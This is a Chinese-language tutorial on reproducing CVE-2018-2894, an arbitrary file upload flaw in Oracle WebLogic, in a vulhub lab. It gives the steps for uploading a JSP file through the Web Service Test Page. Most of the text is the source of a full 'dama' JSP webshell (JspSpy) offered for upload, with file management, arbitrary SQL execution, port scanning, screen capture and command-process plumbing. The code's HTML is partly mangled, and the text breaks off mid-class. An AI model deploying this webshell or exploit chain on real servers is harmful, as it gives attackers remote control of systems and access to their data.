Weblogic漏洞（四）之 CVE-2018-2894 任意文件上传漏洞
CVE-2018-2894 任意文件上传漏洞
漏洞影响
Weblogic受影响的版本：
- 10.3.6.0
- 12.1.3.0
- 12.2.1.2
- 12.2.1.3
漏洞环境
此次我们使用的是vnlhub靶场搭建的环境，是vnlhub中的Weblogic漏洞中的CVE-2018-2894靶场，我们 cd 到 CVE-2018-2894，然后输入以下命令启动靶场环境：
docker-compose up -d
输入以下的命令可以查看当前启动的靶场环境：
docker-compose ps
漏洞复现
我们首先通过以下的命令获取Weblogic后台登陆的用户名和密码
docker-compose logs | grep password
然后我们通过URLhttp://IP:7001/console/login/LoginForm.jsp访问靶场界面
然后我们通过用户名weblogic和刚刚获得密码QghFSif4登陆Weblogic后台界面
如图，是我们登陆后的界面：
登录到后台，我们按照登录 -> base-domain ->高级 -> 开启 web测试页 -> 保存的顺序，开启 Web Service Test Page ：
然后我们输入以下的地址访问http:/IP:7001/ws_utc/config.doWeb测试页
然后我们修改工作目录为以下的路径
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
然后点击提交
然后我们点击安全——>添加
上传大马dama.jsp,设置名字dama，点击提交
dama.jsp的代码内容如下：
<%@page pageEncoding="utf-8"%>
<%@page import="java.io.*"%>
<%@page import="java.util.*"%>
<%@page import="java.util.regex.*"%>
<%@page import="java.sql.*"%>
<%@page import="java.nio.charset.*"%>
<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
<%@page import="java.text.*"%>
<%@page import="java.net.*"%>
<%@page import="java.util.zip.*"%>
<%@page import="java.awt.*"%>
<%@page import="java.awt.image.*"%>
<%@page import="javax.imageio.*"%>
<%@page import="java.awt.datatransfer.DataFlavor"%>
<%@page import="java.util.prefs.Preferences"%>
<%!
/**
* JSP大马
*/
private static final String PW = "password"; // 访问密码 password
private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
private static final String REQUEST_CHARSET = "ISO-8859-1";
private static final String PAGE_CHARSET = "UTF-8";
private static final String CURRENT_DIR = "currentdir";
private static final String MSG = "SHOWMSG";
private static final String PORT_MAP = "PMSA";
private static final String DBO = "DBO";
private static final String SHELL_ONLINE = "SHELL_ONLINE";
private static String SHELL_NAME = "";
private static String WEB_ROOT = null;
private static String SHELL_DIR = null;
public static Map<String,Invoker> ins = new HashMap<String,Invoker>();
private static class MyRequest extends HttpServletRequestWrapper {
public MyRequest(HttpServletRequest req) {
super(req);
}
public String getParameter(String name) {
try {
String value = super.getParameter(name);
if (name == null)
return null;
return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
} catch (Exception e) {
return null;
}
}
}
private static class DBOperator{
private Connection conn = null;
private Statement stmt = null;
private String driver;
private String url;
private String uid;
private String pwd;
public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
this(driver,url,uid,pwd,false);
}
public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
Class.forName(driver);
if (connect)
this.conn = DriverManager.getConnection(url,uid,pwd);
this.url = url;
this.driver = driver;
this.uid = uid;
this.pwd = pwd;
}
public void connect() throws Exception{
this.conn = DriverManager.getConnection(url,uid,pwd);
}
public Object execute(String sql) throws Exception {
if (isValid()) {
stmt = conn.createStatement();
if (stmt.execute(sql)) {
return stmt.getResultSet();
} else {
return stmt.getUpdateCount();
}
}
throw new Exception("Connection is inValid.");
}
public void closeStmt() throws Exception{
if (this.stmt != null)
stmt.close();
}
public boolean isValid() throws Exception {
return conn != null && !conn.isClosed();
}
public void close() throws Exception {
if (isValid()) {
closeStmt();
conn.close();
}
}
public boolean equals(Object o) {
if (o instanceof DBOperator) {
DBOperator dbo = (DBOperator)o;
return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
}
return false;
}
}
private static class StreamConnector extends Thread {
private InputStream is;
private OutputStream os;
public StreamConnector( InputStream is, OutputStream os ){
this.is = is;
this.os = os;
}
public void run(){
BufferedReader in = null;
BufferedWriter out = null;
try{
in = new BufferedReader( new InputStreamReader(this.is));
out = new BufferedWriter( new OutputStreamWriter(this.os));
char buffer[] = new char[8192];
int length;
while((length = in.read( buffer, 0, buffer.length ))>0){
out.write( buffer, 0, length );
out.flush();
}
} catch(Exception e){}
try{
if(in != null)
in.close();
if(out != null)
out.close();
} catch( Exception e ){}
}
}
private static class OnLineProcess {
private String cmd = "first";
private Process pro;
public OnLineProcess(Process p){
this.pro = p;
}
public void setPro(Process p) {
this.pro = p;
}
public void setCmd(String c){
this.cmd = c;
}
public String getCmd(){
return this.cmd;
}
public Process getPro(){
return this.pro;
}
public void stop(){
this.pro.destroy();
}
}
private static class OnLineConnector extends Thread {
private OnLineProcess ol = null;
private InputStream is;
private OutputStream os;
private String name;
public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){
this.is = is;
this.os = os;
this.name = name;
this.ol = ol;
}
public void run(){
BufferedReader in = null;
BufferedWriter out = null;
try{
in = new BufferedReader( new InputStreamReader(this.is));
out = new BufferedWriter( new OutputStreamWriter(this.os));
char buffer[] = new char[128];
if(this.name.equals("exeRclientO")) {
//from exe to client
int length = 0;
while((length = in.read( buffer, 0, buffer.length ))>0){
String str = new String(buffer, 0, length);
str = str.replace("&","&").replace("<","<").replace(">",">");
str = str.replace(""+(char)13+(char)10,"
");
str = str.replace("\n","
");
out.write(str.toCharArray(), 0, str.length());
out.flush();
}
} else {
//from client to exe
while(true) {
while(this.ol.getCmd() == null) {
Thread.sleep(500);
}
if (this.ol.getCmd().equals("first")) {
this.ol.setCmd(null);
continue;
}
this.ol.setCmd(this.ol.getCmd() + (char)10);
char[] arr = this.ol.getCmd().toCharArray();
out.write(arr,0,arr.length);
out.flush();
this.ol.setCmd(null);
}
}
} catch(Exception e){
}
try{
if(in != null)
in.close();
if(out != null)
out.close();
} catch( Exception e ){
}
}
}
private static class Table{
private ArrayList<Row> rows = null;
private boolean echoTableTag = false;
public void setEchoTableTag(boolean v) {
this.echoTableTag = v;
}
public Table(){
this.rows = new ArrayList<Row>();
}
public void addRow(Row r) {
this.rows.add(r);
}
public String toString(){
StringBuilder html = new StringBuilder();
if (echoTableTag)
html.append("");
for (Row r:rows) {
html.append("\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
for (Column c:r.getColumns()) {
html.append("");
String vv = Util.htmlEncode(Util.getStr(c.getValue()));
if (vv.equals(""))
vv = " ";
html.append(vv);
html.append(" ");
}
html.append(" ");
}
if (echoTableTag)
html.append("
");
return html.toString();
}
}
private static class Row{
private ArrayList<Column> cols = null;
public Row(){
this.cols = new ArrayList<Column>();
}
public void addColumn(Column n) {
this.cols.add(n);
}
public ArrayList<Column> getColumns(){
return this.cols;
}
}
private static class Column{
private String value;
public Column(String v){
this.value = v;
}
public String getValue(){
return this.value;
}
}
private static class Util{
public static boolean isEmpty(String s) {
return s == null || s.trim().equals("");
}
public static boolean isEmpty(Object o) {
return o == null || isEmpty(o.toString());
}
public static String getSize(long size,char danwei) {
if (danwei == 'M') {
double v = formatNumber(size / 1024.0 / 1024.0,2);
if (v > 1024) {
return getSize(size,'G');
}else {
return v + "M";
}
} else if (danwei == 'G') {
return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G";
} else if (danwei == 'K') {
double v = formatNumber(size / 1024.0,2);
if (v > 1024) {
return getSize(size,'M');
} else {
return v + "K";
}
} else if (danwei == 'B') {
if (size > 1024) {
return getSize(size,'K');
}else {
return size + "B";
}
}
return ""+0+danwei;
}
public static double formatNumber(double value,int l) {
NumberFormat format = NumberFormat.getInstance();
format.setMaximumFractionDigits(l);
format.setGroupingUsed(false);
return new Double(format.format(value));
}
public static boolean isInteger(String v) {
if (isEmpty(v))
return false;
return v.matches("^\\d+$");
}
public static String formatDate(long time) {
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
return format.format(new java.util.Date(time));
}
public static String convertPath(String path) {
return path != null ? path.replace("\\","/") : "";
}
public static String htmlEncode(String v) {
if (isEmpty(v))
return "";
return v.replace("&","&").replace("<","<").replace(">",">");
}
public static String getStr(String s) {
return s == null ? "" :s;
}
public static String getStr(Object s) {
return s == null ? "" :s.toString();
}
public static String exec(String regex, String str, int group) {
Pattern pat = Pattern.compile(regex);
Matcher m = pat.matcher(str);
if (m.find())
return m.group(group);
return null;
}
public static void outMsg(Writer out,String msg) throws Exception {
outMsg(out,msg,"center");
}
public static void outMsg(Writer out,String msg,String align) throws Exception {
if (msg.indexOf("java.lang.ClassNotFoundException") != -1)
msg = "Can Not Find The Driver!
" + msg;
out.write("\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"+align+";font-weight:bold;margin:10px\">"+msg+"");
}
}
private static class UploadBean {
private String fileName = null;
private String suffix = null;
private String savePath = "";
private ServletInputStream sis = null;
private byte[] b = new byte[1024];
public UploadBean() {
}
public void setSavePath(String path) {
this.savePath = path;
}
public void parseRequest(HttpServletRequest request) throws IOException {
sis = request.getInputStream();
int a = 0;
int k = 0;
String s = "";
while ((a = sis.readLine(b,0,b.length))!= -1) {
s = new String(b, 0, a,PAGE_CHARSET);
if ((k = s.indexOf("filename=\""))!= -1) {
s = s.substring(k + 10);
k = s.indexOf("\"");
s = s.substring(0, k);
File tF = new File(s);
if (tF.isAbsolute()) {
fileName = tF.getName();
} else {
fileName = s;
}
k = s.lastIndexOf(".");
suffix = s.substring(k + 1);
upload();
}
}
}
private void upload() {
try {
FileOutputStream out = new FileOutputStream(new File(savePath,fileName));
int a = 0;
int k = 0;
String s = "";
while ((a = sis.readLine(b,0,b.length))!=-1) {
s = new String(b, 0, a);
if ((k = s.indexOf("Content-Type:"))!=-1) {
break;
}
}
sis.readLine(b,0,b.length);
while ((a = sis.readLine(b,0,b.length)) != -1) {
s = new String(b, 0, a);
if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
break;
}
out.write(b, 0, a);
}
out.close();
} catch (IOException ioe) {
ioe.printStackTrace();
}
}
}
%>
<%
SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
String myAbsolutePath = application.getRealPath(request.getServletPath());
if (Util.isEmpty(myAbsolutePath)) {//for weblogic
SHELL_NAME = request.getServletPath();
myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
SHELL_NAME=request.getContextPath()+SHELL_NAME;
WEB_ROOT = new File(application.getResource("/").getPath()).toString();
} else {
WEB_ROOT = application.getRealPath("/");
}
SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
if (session.getAttribute(CURRENT_DIR) == null)
session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
//request = new MyRequest(request);
HttpServletRequest myrequest = new MyRequest(request);
if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
String o = request.getParameter("o");
if (o != null && o.equals("login")) {
ins.get("login").invoke(myrequest,response,session);
return;
} else if (o != null && o.equals("vLogin")) {
ins.get("vLogin").invoke(myrequest,response,session);
return;
} else {
response.sendRedirect(SHELL_NAME+"?o=vLogin");
return;
}
}
%>
<%!
private static interface Invoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
public boolean doBefore();
public boolean doAfter();
}
private static class DefaultInvoker implements Invoker{
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
}
public boolean doBefore(){
return true;
}
public boolean doAfter() {
return true;
}
}
private static class ScriptInvoker extends DefaultInvoker{
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class BeforeInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("JspSpy Codz By - Ninty \"margin:0;table-layout:fixed; word-break:break-all\">");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class AfterInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class DeleteBatchInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String files = request.getParameter("files");
if (!Util.isEmpty(files)) {
String currentDir = JSession.getAttribute(CURRENT_DIR).toString();
String[] arr = files.split(",");
for (String fs:arr) {
File f = new File(currentDir,fs);
f.delete();
}
}
JSession.setAttribute(MSG,"Delete Files Success!");
response.sendRedirect(SHELL_NAME+"?o=index");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class ClipBoardInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
" "+
" "+
" System Clipboard »
"+
""
);
try{
out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));
}catch (Exception ex) {
out.println("ClipBoard is Empty Or Is Not Text Data !");
}
out.println(""+
" \"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\" />"+
" "+
" "+
" "+
"
");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class VRemoteControlInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("");
out.println("\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
" "+
" "+
" Remote Control »
\"bt\" οnclick=\"var img = document.getElementById('screen').src='"+SHELL_NAME+"?o=gc&rnd='+Math.random();\" name=\"getsc\" id=\"getsc\" value=\"Get Screen\" type=\"button\" size=\"100\" />"+
" \"bt\" name=\"button\" id=\"button\" onClick=\"a(this)\" value=\"Start\" type=\"button\" size=\"100\" /> Speed(Second , dont be so fast) Can Not Control Yet."+
"
"+
" "+
" "+
"
");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
//GetScreen
private static class GcInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
Dimension size = Toolkit.getDefaultToolkit().getScreenSize();
Rectangle rec = new Rectangle(0,0,(int)size.getWidth(),(int)size.getHeight());
BufferedImage img = new Robot().createScreenCapture(rec);
response.setContentType("image/jpeg");
ImageIO.write(img,"jpg",response.getOutputStream());
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class VPortScanInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String ip = request.getParameter("ip");
String ports = request.getParameter("ports");
String timeout = request.getParameter("timeout");
if (Util.isEmpty(ip))
ip = "127.0.0.1";
if (Util.isEmpty(ports))
ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
if (Util.isEmpty(timeout))
timeout = "2";
out.println("\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"\"
Bin_H2_Title\">PortScan >>"+
"\"YwLB\">"+
"
");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class PortScanInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
ins.get("vPortScan").invoke(request,response,JSession);
String ip = request.getParameter("ip");
String ports = request.getParameter("ports");
String timeout = request.getParameter("timeout");
int iTimeout = 0;
if (Util.isEmpty(ip) || Util.isEmpty(ports))
return;
if (!Util.isInteger(timeout)) {
timeout = "2";
}
iTimeout = Integer.parseInt(timeout);
Map<String,String> rs = new LinkedHashMap<String,String>();
String[] portArr = ports.split(",");
for (String port:portArr) {
try {
Socket s = new Socket();
s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout);
s.close();
rs.put(port,"Open");
} catch (Exception e) {
rs.put(port,"Close");
}
}
out.println("");
Set<Map.Entry<String,String>> entrySet = rs.entrySet();
for (Map.Entry<String,String> e:entrySet) {
String port = e.getKey();
String value = e.getValue();
out.println(ip+" : "+port+" ................................. (value.equals("Open")?"green":"red")+">"+value+"
");
}
out.println("");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class VConnInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
Object obj = JSession.getAttribute(DBO);
if (obj == null || !((DBOperator)obj).isValid()) {
out.println(" ");
out.println("\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"0\">"+
"DataBase Manager »
"+
"\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
""
+
"Driver:"+
" \"input\" name=\"driver\" id=\"driver\" type=\"text\" size=\"35\" />"+
"URL:"+
"\"input\" name=\"url\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
"UID:"+
"\"input\" name=\"uid\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
"PWD:"+
"\"input\" name=\"pwd\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
"DataBase:"+
" input\" id=\"db\" name=\"db\" >"+
" "+
" "+
" "+
" "+
" Other</option>"+
" </select>"+
"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
"</p>"+
"</form></table><script>changeurldriver()</script>");
} else {
ins.get("dbc").invoke(request,response,JSession);
}
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
//DBConnect
private static class DbcInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String driver = request.getParameter("driver");
String url = request.getParameter("url");
String uid = request.getParameter("uid");
String pwd = request.getParameter("pwd");
String sql = request.getParameter("sql");
String selectDb = request.getParameter("selectDb");
if (selectDb == null)
selectDb = JSession.getAttribute("selectDb").toString();
else
JSession.setAttribute("selectDb",selectDb);
Object dbo = JSession.getAttribute(DBO);
if (dbo == null || !((DBOperator)dbo).isValid()) {
if (dbo != null)
((DBOperator)dbo).close();
dbo = new DBOperator(driver,url,uid,pwd,true);
} else {
if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) {
DBOperator oldDbo = (DBOperator)dbo;
dbo = new DBOperator(driver,url,uid,pwd);
if (!oldDbo.equals(dbo)) {
((DBOperator)oldDbo).close();
((DBOperator)dbo).connect();
} else {
dbo = oldDbo;
}
}
}
DBOperator Ddbo = (DBOperator)dbo;
JSession.setAttribute(DBO,Ddbo);
Util.outMsg(out,"Connect To DataBase Success!");
out.println(" <script type=\"text/javascript\">"+
" function changeurldriver(selectDb){"+
" var form = document.forms[\"form1\"];"+
" if (selectDb){"+
" form.elements[\"db\"].selectedIndex = selectDb"+
" }"+
" var v = form.elements[\"db\"].value;"+
" form.elements[\"url\"].value = v.split(\"`\")[1];"+
" form.elements[\"driver\"].value = v.split(\"`\")[0];"+
" form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
" }"+
" </script>");
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\""+selectDb+"\">"+
"<h2>DataBase Manager »</h2>"+
"<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
"<p>"+
"Driver:"+
" <input class=\"input\" name=\"driver\" value=\""+Ddbo.driver+"\" id=\"driver\" type=\"text\" size=\"35\" />"+
"URL:"+
"<input class=\"input\" name=\"url\" value=\""+Ddbo.url+"\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
"UID:"+
"<input class=\"input\" name=\"uid\" value=\""+Ddbo.uid+"\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
"PWD:"+
"<input class=\"input\" name=\"pwd\" value=\""+Ddbo.pwd+"\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
"DataBase:"+
" <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
" <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql"+
" "+
" "+
" "+
" "+
" "+
"\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
""+
"");
out.println(""+SHELL_NAME+"\" method=\"POST\">"+
"\"
hidden\" name=\"selectDb\" value=\""+selectDb+"\">\"hidden\" name=\"o\" value=\"executesql\">\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\"2\">Run SQL query/queries on database : \"padding:0 5px;\">\"bt\" style=\"height:50px;\" name=\"submit\" type=\"submit\" value=\"Query\" />
");
} catch (Exception e) {
//e.printStackTrace();
throw e;
}
}
}
private static class ExecuteSQLInvoker extends DefaultInvoker{
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String sql = request.getParameter("sql");
String db = request.getParameter("selectDb");
Object dbo = JSession.getAttribute(DBO);
if (!Util.isEmpty(sql)) {
if (dbo == null || !((DBOperator)dbo).isValid()) {
response.sendRedirect(SHELL_NAME+"?o=vConn");
} else {
ins.get("dbc").invoke(request,response,JSession);
Object obj = ((DBOperator)dbo).execute(sql);
if (obj instanceof ResultSet) {
ResultSet rs = (ResultSet)obj;
ResultSetMetaData meta = rs.getMetaData();
int colCount = meta.getColumnCount();
out.println("<div style='padding:10px'><p><b>Query#0 : "+Util.htmlEncode(sql)+"</b></p>");
out.println("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\"><tr class=\"head\">");
for (int i=1;i<=colCount;i++) {
out.println("<td nowrap>"+meta.getColumnName(i)+"<br><span>"+meta.getColumnTypeName(i)+"</span></td>");
}
out.println("</tr>");
Table tb = new Table();
while(rs.next()) {
Row r = new Row();
for (int i = 1;i<=colCount;i++) {
r.addColumn(new Column(rs.getString(i)));
}
tb.addRow(r);
}
out.println(tb.toString());
out.println("");
String cr = null;
try {
cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);
}catch(Exception e) {
cr = "/";
}
File currentRoot = new File(cr);
out.println("\"98%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
"
"+
"");
out.println("\"98%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">"+
""+SHELL_NAME+"?o=upload\" method=\"POST\" enctype=\"multipart/form-data\">
");
out.println("
");
} catch (Exception e) {
e.printStackTrace();
throw e;
}
}
}
private static class LogoutInvoker extends DefaultInvoker {
public boolean doBefore() {return false;}
public boolean doAfter() {return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
Object dbo = JSession.getAttribute(DBO);
if (dbo != null)
((DBOperator)dbo).close();
Object obj = JSession.getAttribute(PORT_MAP);
if (obj != null) {
ServerSocket s = (ServerSocket)obj;
s.close();
}
Object online = JSession.getAttribute(SHELL_ONLINE);
if (online != null)
((OnLineProcess)online).stop();
JSession.invalidate();
response.sendRedirect(SHELL_NAME+"?o=vLogin");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class UploadInvoker extends DefaultInvoker {
public boolean doBefore() {return false;}
public boolean doAfter() {return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
UploadBean fileBean = new UploadBean();
response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());
fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());
fileBean.parseRequest(request);
JSession.setAttribute(MSG,"Upload File Success!");
response.sendRedirect(SHELL_NAME+"?o=index");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class CopyInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String src = request.getParameter("src");
String to = request.getParameter("to");
BufferedInputStream input = new BufferedInputStream(new FileInputStream(new File(src)));
BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
byte[] d = new byte[1024];
int len = input.read(d);
while(len != -1) {
output.write(d,0,len);
len = input.read(d);
}
output.close();
input.close();
JSession.setAttribute(MSG,"Copy File Success!");
response.sendRedirect(SHELL_NAME+"?o=index");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class BottomInvoker extends DefaultInvoker {
public boolean doBefore() {return false;}
public boolean doAfter() {return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
response.getWriter().println("File Manager - Current disk ""
+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total "+Util.getSize(currentRoot.getTotalSpace(),'G')+""); out.println(""+SHELL_NAME+"\" method=\"post\">"+ "| Current Directory \"hidden\" name=\"o\" value=\"filelist\"/> | "+ "\"98%\">\"input\" name=\"folder\" value=\""+JSession.getAttribute(CURRENT_DIR)+"\" type=\"text\" style=\"width:100%;margin:0 8px;\"> | "+ "\"bt\" value=\"GO\" type=\"submit\"> | "+ "
| \"7\" style=\"padding:5px;\">"+
" \"float:right;\">\"input\" name=\"file\" value=\"\" type=\"file\" /> \"bt\" name=\"doupfile\" value=\"Upload\" type=\"submit\" /> "+
"\"javascript:new fso({path:'"+Util.convertPath(WEB_ROOT)+"'}).subdir()\">Web Root"+
" | \"javascript:new fso({path:'"+Util.convertPath(SHELL_DIR)+"'}).subdir()\">Shell Directory"+
" | \"javascript:new fso({}).mkdir()\">New Directory | \"javascript:new fso({}).createFile()\">New File"+
" | ");
File[] roots = file.listRoots();
for (int i = 0;i<roots.length;i++) {
File r = roots[i];
out.println("\"javascript:new fso({path:'"+Util.convertPath(r.getPath())+"'}).subdir();\">Disk("+Util.convertPath(r.getPath())+")");
if (i != roots.length -1) {
out.println("|");
}
}
out.println(" | "+
"|||||
| "+ " | Name | "+ "\"16%\">Last Modified | "+ "\"10%\">Size | "+ "\"20%\">Read/Write/Execute | "+ "\"22%\"> | "+ "
| \"center\">\"Wingdings 3\" size=4>= | "+ "\"5\">\"javascript:new fso({path:'"+Util.convertPath(file.getAbsolutePath())+"'}).parent()\">Goto Parent | "+ "||||
| \"2%\" nowrap>\"wingdings\" size=\"3\">0 | "+ "\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).subdir()\">"+f.getName()+" | "+ ""+Util.formatDate(f.lastModified())+" | "+ "-- | "+ ""+f.canRead()+" / "+f.canWrite()+" / "+f.canExecute()+" | "+ "\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).removedir()\">Del | \"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move | \"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\">Pack | "+ "
| \"2%\" nowrap> | "+ "\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">"+f.getName()+" | "+ ""+Util.formatDate(f.lastModified())+" | "+ ""+Util.getSize(f.length(),'B')+" | "+ ""+ ""+f.canRead()+" / "+f.canWrite()+" / "+f.canExecute()+" | "+ ""+ "\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEdit()\">Edit | "+ "\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">Down | "+ "\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).copy()\">Copy | "+ "\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move | "+ "\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEditProperty()\">Property"); if (f.getName().endsWith(".zip")) { out.println(" | \"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).unpack()\">UnPack"); } else if (f.getName().endsWith(".rar")) { out.println(" | \"javascript:alert('Dont Support RAR,Please Use WINRAR');\">UnPack"); } else { out.println(" | \"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\">Pack"); } out.println(" | "+ "
| \"center\"> | "+ "\"javascript:new fso({}).packBatch();\">Pack Selected - \"javascript:new fso({}).deleteBatch();\">Delete Selected | "+ "\"4\" align=\"right\">"+dircount+" directories / "+filecount+" files |
\"padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;\">Copyright (C) 2009 All Rights Reserved."+
"
");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class VCreateFileInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
